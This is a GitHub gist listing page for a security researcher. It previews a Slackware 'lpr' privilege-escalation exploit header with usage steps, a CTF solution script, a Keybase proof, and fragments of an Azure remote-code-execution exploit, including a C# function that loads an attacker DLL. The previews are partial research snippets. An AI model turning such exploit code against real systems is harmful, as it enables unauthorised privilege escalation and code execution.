Skip to content

Instantly share code, notes, and snippets.

View ITAYC0HEN's full-sized avatar

Itay Cohen ITAYC0HEN

View GitHub Profile
@ITAYC0HEN
ITAYC0HEN / prdelka-vs-GNU-lpr.c
Created December 29, 2016 19:00
Slackware 1.01 local priv-esc exploit
/*
Slackware Linux 1.01 "lpr" stack overflow privilege escalation
Usage:
slack:/tmp$ gcc prdelka-vs-GNU-lpr.c -o prdelka-vs-GNU-lpr
slack:/tmp$ ./prdelka-vs-GNU-lpr
Written by: prdelka
*/
#include <stdio.h>
@ITAYC0HEN
ITAYC0HEN / New_Avenger_solution.py
Created March 5, 2017 08:25
[Pragyan CTF] New Avenger writeup
# Full Writeup: https://www.megabeets.net/pragyan-ctf-new-avenger
from zipfile import ZipFile
import string
passwords =[]
i = 1
while True:
f=reversed(open("%s_image.jpg"%i).readlines())
@ITAYC0HEN
ITAYC0HEN / keybase.md
Last active February 14, 2020 15:20
Keybase proof

Keybase proof

I hereby claim:

  • I am itayc0hen on github.
  • I am itayco (https://keybase.io/itayco) on keybase.
  • I have a public key ASBnlwO1IQCawArAMZOPwqjVm9oYJWYpEqEVOAofvkjl1wo

To claim this, I am signing this object:

@ITAYC0HEN
ITAYC0HEN / azure_rce.c
Last active January 23, 2020 09:13
Azure Exploitation Publication - Part2, Snippet 2
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#pragma warning(disable: 4996)# define MAX_PATH_LEN 2048# define MAX_BUFF_LEN 2048# define IPM_BUFFER_LEN(0x800)
typedef struct _pipedata {
unsigned int opcode;
unsigned int length;
char data[IPM_BUFFER_LEN];
@ITAYC0HEN
ITAYC0HEN / azure_function_rce.cs
Created January 23, 2020 09:14
Azure Exploitation Publication - Part2, Snippet 1
using System.Net;
using System.Runtime.InteropServices;
[DllImport("YOUR_DLL_NAME")]
public static extern void load();
public static async Task<HttpResponseMessage> Run(HttpRequestMessage req, TraceWriter log)
{
load();
log.Info("C# HTTP trigger function processed a request.");
return req.CreateResponse(HttpStatusCode.OK, "Malicious Function");
}